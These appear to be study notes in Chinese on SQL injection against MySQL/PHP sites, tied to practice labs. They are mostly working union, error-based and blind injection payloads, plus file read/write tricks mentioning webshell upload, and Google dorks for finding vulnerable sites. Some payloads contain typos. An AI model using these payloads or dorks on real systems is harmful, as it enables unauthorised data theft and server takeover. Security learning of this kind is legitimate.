SQL注入[1]
1.原理
利用sql结构化语言(mysql等)带有的属性,本来旨在用户输入相关变量的参数,
但用户可以通过该点,输入有特殊语义的方法,获取服务端的数据(库名,表名等等)
2.目的
获取 用户数据库——表名——列名——字段 信息
3.基础操作
①准备工作
判断注入类型
判断注入点
在 id= 后 输入任意数据(乱输),若页面异常,存在注入点
猜解列数
' order by 3 --+
' order by 4 --+
页面正常的,为正确
单引号前输入 数字(数据库中不存在的数),为了显示可回显的位置
' union select 1, -- (有空格)
' union select 1,2 -- (空格)
信息收集
数据库版本: version()
数据库名字:database()
数据库用户:user()
操作系统:@@bersion_compile_os
注明:若mysql版本大于5.0
存在:系统数据库:information_schema (含有所有的表名,列名)
information_schema.schemata (记录所有 库名 的表)
information_schema.tables (记录所有 表名 的表)
information_schema.columns (记录所有 列名 的表)
table_name (查询具体的表)
column_name (查具体的列)
table_schema (查数据库名)
否则:需要手工猜解库名,表名,列名
②联合注入
存在的条件
1)存在可控变量
2)有数据库查询
3)无过滤或过滤不严
0)查数据库名字
' union select group_concat(schema_name) from information_schema.schemata --+
得到数据库名:aaaa
1)获取数据库aaaa中的’ 表名bbbb ’
' union select TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where table_schema = 'aaaa'
得到表名:bbbb
2)查询相关的表bbbb中的’ 列名cccc ’
' union select COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'bbbb' --+
得到列名:cccc
group_concat()函数 将返回值在一行打出,以 `;` 分隔开
3)查询相关列中的’ 字段名xxxx ’
' union select [ 字段名 ] from [ 列名cccc ]%23
’#‘ 等价于 ’%23‘ (URL编码)
③高权限注入
0 判断用户权限
user() 可以读取数据用户权限
高权限用户:root 具有读取同一服务器下其他网站数据库的权限
使用information_schema.schemata可以查询同一服务器下的所有数据库名
'.' 点符号,在SQL语句中代表下一级
1 跨库查询
具体操作:
类似联合注入
1)查询库名
' union select group_concat(schema_name) from information_schema.schemata --+
得到数据库名:aaaa(该aaaa可能存在于其他网站下)
2)查询表名
3)查询列名
4)查询数据:' union select [ 字段名 ] from [ 表名bbbb.列名cccc ]%23
(bbbb.cccc 代表的是 具体某一表下的列名,因为在同一服务器下,可能存在多个同列名的列:例如admin)
2 文件读写
0)文件操作函数:
读取:load_file()
(常见的load_file()读取的敏感信息)
导出:into outfile()/ into dumpfile()
(将读取到的数据,导出到电脑上)
1)常见路径读取
找路径路径
1报错显示:
intext:warning inurl:php
inurl:edu.cn warning
2遗留文件
3漏洞报错
读取文件来读取文件
/4平台配置文件 /5 爆破/
路径利用
存在SQL注入的的地方:可以load_file(路径)
注:用'/'或者'\\'间隔路径,因为(\n是换行符,可能存在其他转义语句)
该位置:上传后门,木马shell等等等等
2)常见读取文件列表
3)常见写入文件问题:魔术引号
开关:magic_quote_gpc
魔术引号开启与否的影响
1.当PHP magic_quotes_gpc=on
如果此时你对输入的数据作了addslashes()处理,
那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。
如果仅为magic_quotes_gpc=on,无再对写入数据库的字符串未经过任何处理。从数据库读出的字符串未作任何处理,则sql语句顺利执行,数据成功写入数据库,数据库保存格式和输出数据格式都和输入一样,不带反斜杠
2.当PHP magic_quotes_gpc=off
必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出
因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。数据库保存格式和输出数据格式都和输入一样,不带反斜杠
4)相关防注入
1.自带防御:魔术引号
2.内置函数:is_int
3过滤关键字:select
4.WAF防护
步骤:
猜数据库名称长度——>猜数据库名称(ASCII)——>猜解表的个数——>猜表名长度,字符——>查列名长度,字符——>查字段名
###4.探测及攻击— 工具
1)sqlmap
2)firefox——>hackbar
// Google——>开发者工具-network-document
###5.进阶操作(刷靶场:sqlilabs!!)
④类型和提交注入
#####0 判断类型
1.字符型:(单引号/双引号 括起来)
猜测后台sql语句:`SELECT column FROM table WHERE id='xxxx'`
1)输入`admin'`,因为多了单引号`'id='admin''`,显示异常
2)输入`admin' and 1=1 -- (-- 此处有空格才能达到注释效果//--' 代表注释后面的单引号)` 显示正确
3)输入`admin' and 1=2 -- `显示异常
故:才可能存在字符型输入
2.数字型:(直接输)
猜测后台sql语句:`SELECT column FROM table WHERE id=1`
1)输入`'`,后台格式错误,会跳转,并报错
2)输入`and 1=1`显示正确
3)输入`and 1=2`显示异常
3.搜索型:在网站搜索框进行注入
猜测后台语句:SELECT * from user where like '%输入内容%'
4.JSON
#####1 明确请求方法
GET, POST, COOKIE, REQUEST, HTTP头等 (不同语言的写法不同,内容相同)
HTTP头部注入:
PHP语言:相关的一个函数:$_SERVER[' 相关内容 ']
调用出相关信息
2 注入例子(刷靶场去)
**靶场:sqlilabs**
5.6:参数字符型注入
11:post数据提交注入
18:HTTP头部参数提交注入
20:cookie数据提交注入*
1)参数型注入
靶场:5,6
1抓包
2修改post参数
原句:uname='xxxx'&passwd='xxxx'
在uname位置注入:
输入:admin' and 1=2 order by 2 --+
修改后:uname='admin' and 1=2 order by 2 --+ '&passwd='xxxx'
3类似联合注入
2)POST数据提交注入
靶场:11
3)HTTP头部参数注入
靶场:18
4)Cookie数据提交注入
靶场:20
⑤Oracle,mongoDB等注入(不同数据库类型)
‘用到再学’
⑥查询及报错盲注注入(靶场:pikachu)
查询注入
1)查询方式:
1. select
2. insert
3. delete
4. update
5. order by
2)操作
1.抓包
2.找到数据包中:存在相关查询方式的语句,进行更改
双查询注入(less5)
引用:双查询注入详解
双查询:嵌套查询
理解函数
rand():随机输出一个小于1的正数
floor():把输出的结果向下取整
concat():连接两条语句
group by语句:把结果分组输出
select rand();
获得小于1的正数
select floor(rand()*2);
获得 1或0
select concat((select database()),floor(rand()*2));
得到库名0或者库名1
select concat((select database()),floor(rand()*2))as a from information_schema.tables group by a;
将得到的库名 取名为 a,然后进行对应的分组
(’ database() '只是作为一个例子,可以更换成我们想要的数据)
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
‘‘concat( * )’’ 人为制造一个可以报错回显的窗口,显示查询的数据
https://blog.csdn.net/weixin_44077544/article/details/89113055
报错回显盲注(less6)
布尔盲注/时间盲注
布尔盲注:根据页面 返回 的 正确与否 判定
时间盲注:根据页面 反应 的 时间长短 判定
布尔盲注:
猜长度:
URL+ and length(databake())>11
URL+ and length(databake())>12
(第一次报错,第二次成功,代表库名长12)
猜库的字符
URL+ and ascii(substring(database(),1,1))>97
URL+ and ascii(substring(database(),1,1))>98
(第一次错,第二次正确,第一个字符的ascii为98)
猜库中表的个数
URL+ and (select count(table_name) from information_schema.tables where table_schema=database())>14
时间盲注:
猜长度:
URL+ and if(length(database())>=8, sleep(5) ,1) --
同理推断
⑦二次,加解密,DNS等注入
二次注入
1)原因:数据库对输入的数据进行转义函数处理后,存进数据库的数据,再次进行调用时,不会处理,而攻击者,可以利用该点,构造语句,恶意攻击
加解密注入
相关数据存在加密:进行相关的解密,再进行其他的注入操作,注入时也要讲语句加密成同样的格式
DNSlog注入
解决了盲注不能回显的问题,提高效率
⑧堆叠及WAF绕过注入
⑨SQLMAP绕过WAF
###6.防御/绕过/成因